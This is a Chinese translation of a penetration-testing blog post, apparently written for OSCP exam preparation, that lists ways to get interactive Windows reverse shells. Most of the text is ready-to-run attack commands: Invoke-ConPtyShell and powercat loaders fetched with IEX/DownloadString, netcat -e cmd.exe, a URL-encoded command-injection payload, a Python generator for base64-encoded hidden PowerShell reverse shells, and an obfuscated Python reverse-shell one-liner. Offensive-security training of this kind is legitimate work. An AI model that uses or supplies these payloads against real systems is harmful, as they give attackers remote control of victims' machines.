簡介
在本文中,我們將探討獲取完全交互式 Windows 反向 Shell 的各種方法,從利用內置工具到采用先進技術以獲得更好的控制和功能。
通過 Invoke-ConPtyShell
我獲取完全交互式 Windows 反向 Shell 的首選方法是通過 Invoke-ConPtyShell
腳本。當 Windows Shell 不提供任何輸出并出現奇怪的行為時(例如,無法啟動 mimikatz、winpeas 等),此方法非常有用。
位置:/usr/share/nishang/Shells/Invoke-ConPtyShell.ps1
將 Invoke-ConPtyShell.ps1
復制到當前工作目錄:
cp /usr/share/nishang/Shells/Invoke-ConPtyShell.ps1 .
通過以下方式托管該文件:
┌──(kali?kali)-[~]
└─$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
在 Kali(攻擊機)上:
stty raw -echo; (stty size; cat) | nc -lvnp 9001
- 設置在 9001 端口上的 netcat 監聽器
在目標機器上:
[powershell] IEX(IWR http://192.168.45.236:8000/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 192.168.45.236 9001
注意:如果此方法失敗且您無法升級您的 Shell,請嘗試通過 nc64.exe
(如下所示)生成一個新的反向 Shell,然后再次嘗試 Invoke-ConPtyShell
。
netcat (nc.exe)
下載 nc64.exe 二進制文件。
.\nc.exe -e cmd.exe <攻擊者IP> <端口>
注意:請確保運行一個監聽處理程序來捕獲我們的連接。
Powershell
在 Powershell 中,有多種方法可以生成反向 Shell。
使用 IWR
下載自定義的 shell.ps1
腳本,并通過 IEX
執行它。
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
直接下載并執行您的自定義 Powershell 腳本。
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
替代方案 A:
Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadString('http://10.222.0.26:8000/ipst.ps1')"
替代方案 B:
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile
Powercat.ps1
另一個用于生成反向 Shell 的強大工具是 Powercat
。
cp /usr/share/powershell-empire/empire/server/data/module_source/management/powercat.ps1 .
下載 powercat.ps1
腳本并執行它以連接到我們在 9001 端口上的監聽器。
IEX (New-Object System.Net.Webclient).DownloadString("http://192.168.45.196:8081/powercat.ps1");powercat -c 192.168.45.196 -p 9001 -e powershell
假設我們在一個 Web 應用程序的 command
參數中存在(遠程)代碼執行漏洞。我們可以使用命令注入來下載我們的 powercat 腳本并運行它,以與目標服務器建立反向 Shell 連接。
curl -X POST --data 'command=%3BIEX%20(New-Object%20System.Net.Webclient).DownloadString(%22http%3A%2F%2F192.168.45.196:8081%2Fpowercat.ps1%22)%3Bpowercat%20-c%20192.168.45.196:8081%20-p%209001%20-e%20powershell' http://192.168.45.196:8081/evil_endpoint
generate_powershell_reverse.py
我最喜歡的在 Powershell 中生成 base64 編碼反向 Shell 的方法是使用這個腳本:
import sys
import base64payload = '$client = New-Object System.Net.Sockets.TCPClient("192.168.45.236",9443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'cmd = "powershell -nop -w hidden -e " + base64.b64encode(payload.encode('utf16')[2:]).decode()print(cmd)
只需更改 local ip
和 local port
,然后通過 python3 generate_powershell_reverse.py
運行它。
它將為您提供類似的輸出,因此無需擔心后端過濾(例如,特殊字符、空格)。
powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUA...
python
如果被入侵的 Windows 主機安裝了 python
,我們可以使用它來生成反向 Shell:
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
結論
掌握這些獲取完全交互式 Windows 反向 Shell 的方法是一項實用的技能,可以顯著提高您在 OSCP 考試中的表現。它將幫助您更深入地訪問和控制目標 Windows 系統。
原文鏈接:https://www.zekosec.com/blog/interactive-windows-reverse-shell/